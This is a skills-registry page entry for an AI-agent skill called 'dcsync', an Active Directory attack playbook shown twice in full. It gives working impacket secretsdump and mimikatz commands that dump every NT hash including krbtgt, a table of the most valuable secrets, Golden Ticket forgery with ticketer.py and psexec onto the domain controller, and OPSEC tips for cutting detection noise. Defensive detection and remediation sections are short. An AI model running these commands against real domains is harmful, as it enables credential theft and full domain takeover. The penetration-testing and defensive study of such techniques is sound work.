[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7DF15HDJC9BP4KV05YP7X98":3,"skill-same:01M7DF15HDJC9BP4KV05YP7X98":52},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":32,"commitSha":33,"skillDirectory":34,"forksCount":14,"repositoryHtmlUrl":35,"repositoryHomepageUrl":6,"ownerHtmlUrl":36,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":37,"install":38,"resources":51},"01M7DF15HDJC9BP4KV05YP7X98","dcsync",null,"Abuse replication rights (DS-Replication-Get-Changes + GetChangesAll) to dump krbtgt and arbitrary user NT hashes from a DC.","Akapi895\u002Fraptix","Akapi895","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F83953516?v=4","01M7DEGNDGERR4F4YETDFVA512","Phạm Anh Tuấn","01M7DEGNEHYZNA920AYM5EH7H8",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fad\u002Fdcsync\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: dcsync\ndescription: Abuse replication rights (DS-Replication-Get-Changes + GetChangesAll) to dump krbtgt and arbitrary user NT hashes from a DC.\nmetadata:\n  subdomain: active-directory\n  when_to_use: \"dcsync replication rights secretsdump krbtgt nt hash dump\"\n  mitre_attack:\n    - T1003.006\n  fanout:\n    effects: destructive\n    notes: >-\n      replication dump is a high-signal, high-impact DC operation; run alone\n      in the mission-sanctioned phase, never concurrently with other dispatches\n---\n\n# DCSync Playbook\n\nDCSync is not a vulnerability — it's a legitimate AD feature for\ndomain controllers to replicate. The \"vulnerability\" is when a\nnon-DC principal has the replication-rights ACL.\n\n## 1. Identify DCSync candidates\nFrom the BloodHound graph (`bhce_cypher`):\n```\nMATCH (n)-[:GetChanges|GetChangesAll]->(:Domain)\nRETURN DISTINCT n.name, labels(n)\n```\n\nCommon holders (legitimate):\n- Domain Admins, Enterprise Admins, Domain Controllers\n- Exchange Trusted Subsystem (Exchange installs grant by default — historical PrivExchange)\n- Replicator (rare)\n\nCommon holders (misconfig = jackpot):\n- Service accounts (admins delegated mistakenly)\n- Helpdesk groups\n- Groups from old migrations\n\n## 2. Execute DCSync\n**Impacket** (most reliable):\n```bash\n# All NT hashes including krbtgt\nsecretsdump.py 'DOM\u002FUSER:PASS@DC_IP' -just-dc \\\n  -outputfile \u002Ftmp\u002Fsecrets\n\n# Just one target user\nsecretsdump.py 'DOM\u002FUSER:PASS@DC_IP' -just-dc-user 'krbtgt'\n\n# With NT hash auth instead of password\nsecretsdump.py -hashes :NT_HASH 'DOM\u002FUSER@DC_IP' -just-dc\n\n# With Kerberos ticket (cleaner OPSEC)\nexport KRB5CCNAME=\u002Ftmp\u002Fuser.ccache\nsecretsdump.py -k -no-pass 'DOM\u002FUSER@DC_FQDN' -just-dc\n```\n\n**Mimikatz** (from Windows):\n```\nlsadump::dcsync \u002Fdomain:dom.local \u002Fuser:krbtgt\nlsadump::dcsync \u002Fdomain:dom.local \u002Fall \u002Fcsv\n```\n\n## 3. Output files\nsecretsdump produces:\n- `\u002Ftmp\u002Fsecrets.ntds` — `user:RID:LM_HASH:NT_HASH:::` format\n- `\u002Ftmp\u002Fsecrets.ntds.kerberos` — Kerberos keys (aes256, aes128, des)\n- `\u002Ftmp\u002Fsecrets.ntds.cleartext` — any reversibly-encrypted passwords (rare, but yes)\n\n## 4. Highest-value secrets to grab\n| User | Why | What unlocks |\n|---|---|---|\n| `krbtgt` | Master Kerberos key | Golden Ticket — persistence + arbitrary user impersonation forever (until rotation) |\n| `Administrator` | Built-in domain admin | Direct admin on most assets |\n| Domain Admin members | Lateral movement | Most assets |\n| `\u003Ctrustname>$` | Trust accounts | Cross-forest movement |\n| Service accounts | Often local admin on hosts | Lateral movement |\n| Exchange computer accounts | Mailbox access | E-discovery \u002F pivot |\n\n## 5. Golden Ticket (post-DCSync)\nWith krbtgt NT hash:\n```bash\nticketer.py -nthash KRBTGT_NT \\\n  -domain-sid 'S-1-5-21-XXXX-YYYY-ZZZZ' \\\n  -domain 'dom.local' \\\n  Administrator\n# Produces Administrator.ccache — TGT for Administrator that lasts 10 years\n\nexport KRB5CCNAME=Administrator.ccache\npsexec.py -k -no-pass 'DC@DC_FQDN'\n```\n\n## 6. Promote\n```\nkg_record('[\n  {\"kind\": \"Credential\", \"key\": \"credential::krbtgt\",\n   \"label\": \"krbtgt:NT_HASH\",\n   \"props\": {\"source\": \"dcsync\", \"value\": \"\u003Chash>\"},\n   \"edges_out\": [{\"to_key\": \"crown-jewel::domain\", \"kind\": \"LEADS_TO\"}]},\n  {\"kind\": \"Vulnerability\", \"key\": \"vuln::dcsync::\u003Cprincipal>\",\n   \"label\": \"DCSync from \u003Cprincipal>\",\n   \"props\": {\"severity\": \"critical\"},\n   \"edges_out\": [{\"to_key\": \"credential::krbtgt\", \"kind\": \"LEAKS\"}]}\n]')\n```\n\n## OPSEC\n- DCSync generates **event 4662** on DCs with `Properties: Replicating Directory Changes`\n- Defender's high-signal detection (the **only** good DCSync detection)\n- BloodHound's `:DS-Replication-Get-Changes` GUID: `1131f6aa-9c07-11d1-f79f-00c04fc2dcd2`\n- A single DCSync run, scoped to one user (`-just-dc-user`), produces less log volume than `-just-dc`\n- Use Kerberos auth (`-k`) instead of NTLM to avoid 4624 type-3 noise\n\n## Detection signature (so you know what blue sees)\n```\nEventCode=4662\nObjectType=domainDNS\nProperties: %{1131f6aa-9c07-11d1-f79f-00c04fc2dcd2} OR %{1131f6ad-9c07-11d1-f79f-00c04fc2dcd2}\nSubjectUserName != *$  (filter out DC computer accounts)\n```\n\n## CVSS\n- DCSync available to non-DC principal: `CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:H\u002FI:H\u002FA:H` = 9.0\n- Already DA + DCSync: not a separate finding, just post-compromise activity\n\n## Defender remediation\n```powershell\n# Audit current holders of replication rights\nGet-ADObject -Identity (Get-ADDomain).DistinguishedName -Properties nTSecurityDescriptor |\n  Select -ExpandProperty nTSecurityDescriptor |\n  Select -ExpandProperty Access |\n  Where { $_.ObjectType -in @('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2','1131f6ad-9c07-11d1-f79f-00c04fc2dcd2') } |\n  Format-Table IdentityReference, ActiveDirectoryRights\n\n# Remove unauthorized holders via dsacls\ndsacls \"DC=dom,DC=local\" \u002FR \"DOM\\BadPrincipal\"\n```\n","# DCSync Playbook\n\nDCSync is not a vulnerability — it's a legitimate AD feature for\ndomain controllers to replicate. The \"vulnerability\" is when a\nnon-DC principal has the replication-rights ACL.\n\n## 1. Identify DCSync candidates\nFrom the BloodHound graph (`bhce_cypher`):\n```\nMATCH (n)-[:GetChanges|GetChangesAll]->(:Domain)\nRETURN DISTINCT n.name, labels(n)\n```\n\nCommon holders (legitimate):\n- Domain Admins, Enterprise Admins, Domain Controllers\n- Exchange Trusted Subsystem (Exchange installs grant by default — historical PrivExchange)\n- Replicator (rare)\n\nCommon holders (misconfig = jackpot):\n- Service accounts (admins delegated mistakenly)\n- Helpdesk groups\n- Groups from old migrations\n\n## 2. Execute DCSync\n**Impacket** (most reliable):\n```bash\n# All NT hashes including krbtgt\nsecretsdump.py 'DOM\u002FUSER:PASS@DC_IP' -just-dc \\\n  -outputfile \u002Ftmp\u002Fsecrets\n\n# Just one target user\nsecretsdump.py 'DOM\u002FUSER:PASS@DC_IP' -just-dc-user 'krbtgt'\n\n# With NT hash auth instead of password\nsecretsdump.py -hashes :NT_HASH 'DOM\u002FUSER@DC_IP' -just-dc\n\n# With Kerberos ticket (cleaner OPSEC)\nexport KRB5CCNAME=\u002Ftmp\u002Fuser.ccache\nsecretsdump.py -k -no-pass 'DOM\u002FUSER@DC_FQDN' -just-dc\n```\n\n**Mimikatz** (from Windows):\n```\nlsadump::dcsync \u002Fdomain:dom.local \u002Fuser:krbtgt\nlsadump::dcsync \u002Fdomain:dom.local \u002Fall \u002Fcsv\n```\n\n## 3. Output files\nsecretsdump produces:\n- `\u002Ftmp\u002Fsecrets.ntds` — `user:RID:LM_HASH:NT_HASH:::` format\n- `\u002Ftmp\u002Fsecrets.ntds.kerberos` — Kerberos keys (aes256, aes128, des)\n- `\u002Ftmp\u002Fsecrets.ntds.cleartext` — any reversibly-encrypted passwords (rare, but yes)\n\n## 4. Highest-value secrets to grab\n| User | Why | What unlocks |\n|---|---|---|\n| `krbtgt` | Master Kerberos key | Golden Ticket — persistence + arbitrary user impersonation forever (until rotation) |\n| `Administrator` | Built-in domain admin | Direct admin on most assets |\n| Domain Admin members | Lateral movement | Most assets |\n| `\u003Ctrustname>$` | Trust accounts | Cross-forest movement |\n| Service accounts | Often local admin on hosts | Lateral movement |\n| Exchange computer accounts | Mailbox access | E-discovery \u002F pivot |\n\n## 5. Golden Ticket (post-DCSync)\nWith krbtgt NT hash:\n```bash\nticketer.py -nthash KRBTGT_NT \\\n  -domain-sid 'S-1-5-21-XXXX-YYYY-ZZZZ' \\\n  -domain 'dom.local' \\\n  Administrator\n# Produces Administrator.ccache — TGT for Administrator that lasts 10 years\n\nexport KRB5CCNAME=Administrator.ccache\npsexec.py -k -no-pass 'DC@DC_FQDN'\n```\n\n## 6. Promote\n```\nkg_record('[\n  {\"kind\": \"Credential\", \"key\": \"credential::krbtgt\",\n   \"label\": \"krbtgt:NT_HASH\",\n   \"props\": {\"source\": \"dcsync\", \"value\": \"\u003Chash>\"},\n   \"edges_out\": [{\"to_key\": \"crown-jewel::domain\", \"kind\": \"LEADS_TO\"}]},\n  {\"kind\": \"Vulnerability\", \"key\": \"vuln::dcsync::\u003Cprincipal>\",\n   \"label\": \"DCSync from \u003Cprincipal>\",\n   \"props\": {\"severity\": \"critical\"},\n   \"edges_out\": [{\"to_key\": \"credential::krbtgt\", \"kind\": \"LEAKS\"}]}\n]')\n```\n\n## OPSEC\n- DCSync generates **event 4662** on DCs with `Properties: Replicating Directory Changes`\n- Defender's high-signal detection (the **only** good DCSync detection)\n- BloodHound's `:DS-Replication-Get-Changes` GUID: `1131f6aa-9c07-11d1-f79f-00c04fc2dcd2`\n- A single DCSync run, scoped to one user (`-just-dc-user`), produces less log volume than `-just-dc`\n- Use Kerberos auth (`-k`) instead of NTLM to avoid 4624 type-3 noise\n\n## Detection signature (so you know what blue sees)\n```\nEventCode=4662\nObjectType=domainDNS\nProperties: %{1131f6aa-9c07-11d1-f79f-00c04fc2dcd2} OR %{1131f6ad-9c07-11d1-f79f-00c04fc2dcd2}\nSubjectUserName != *$  (filter out DC computer accounts)\n```\n\n## CVSS\n- DCSync available to non-DC principal: `CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:H\u002FI:H\u002FA:H` = 9.0\n- Already DA + DCSync: not a separate finding, just post-compromise activity\n\n## Defender remediation\n```powershell\n# Audit current holders of replication rights\nGet-ADObject -Identity (Get-ADDomain).DistinguishedName -Properties nTSecurityDescriptor |\n  Select -ExpandProperty nTSecurityDescriptor |\n  Select -ExpandProperty Access |\n  Where { $_.ObjectType -in @('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2','1131f6ad-9c07-11d1-f79f-00c04fc2dcd2') } |\n  Format-Table IdentityReference, ActiveDirectoryRights\n\n# Remove unauthorized holders via dsacls\ndsacls \"DC=dom,DC=local\" \u002FR \"DOM\\BadPrincipal\"\n```\n",{"name":5,"metadata":24,"description":7},{"fanout":25,"subdomain":28,"when_to_use":29,"mitre_attack":30},{"notes":26,"effects":27},"replication dump is a high-signal, high-impact DC operation; run alone in the mission-sanctioned phase, never concurrently with other dispatches","destructive","active-directory","dcsync replication rights secretsdump krbtgt nt hash dump",[31],"T1003.006","master","8e5d356b795eae2edd4a26509a4b8968e2c4c251","packages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fad\u002Fdcsync","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix","https:\u002F\u002Fgithub.com\u002FAkapi895","2026-11-06 17:46:09",{"source":8,"skillName":5,"commands":39,"prompt":49,"zipAvailable":50},[40,43,46],{"tool":41,"command":42},"npx","npx skills add Akapi895\u002Fraptix --skill dcsync",{"tool":44,"command":45},"bunx","bunx skills add Akapi895\u002Fraptix --skill dcsync",{"tool":47,"command":48},"pnpm","pnpm dlx skills add Akapi895\u002Fraptix --skill dcsync","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fad\u002Fdcsync\u002FSKILL.md",true,[],[53,60,67,74,81,88],{"skillNo":54,"name":55,"nameZh":6,"description":56,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":57,"categories":58,"keywords":59,"publishedAt":19},"01M7DGM32SRP4FZSPYWY621BKQ","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":61,"name":62,"nameZh":6,"description":63,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":64,"categories":65,"keywords":66,"publishedAt":19},"01M7DGKXXVDTY0KBZZR83VFPZX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":68,"name":69,"nameZh":6,"description":70,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":71,"categories":72,"keywords":73,"publishedAt":19},"01M7DGKSV77ENX3D6TG2HQX9MK","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":75,"name":76,"nameZh":6,"description":77,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":78,"categories":79,"keywords":80,"publishedAt":19},"01M7DGKJ9R6YTFRFBSEAJRGGKF","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":82,"name":83,"nameZh":6,"description":84,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":85,"categories":86,"keywords":87,"publishedAt":19},"01M7DGKCFZGKK2EQMWZM1A18S8","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":89,"name":90,"nameZh":6,"description":91,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":92,"categories":93,"keywords":94,"publishedAt":19},"01M7DGK76MKZQWBXTZN82W7214","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]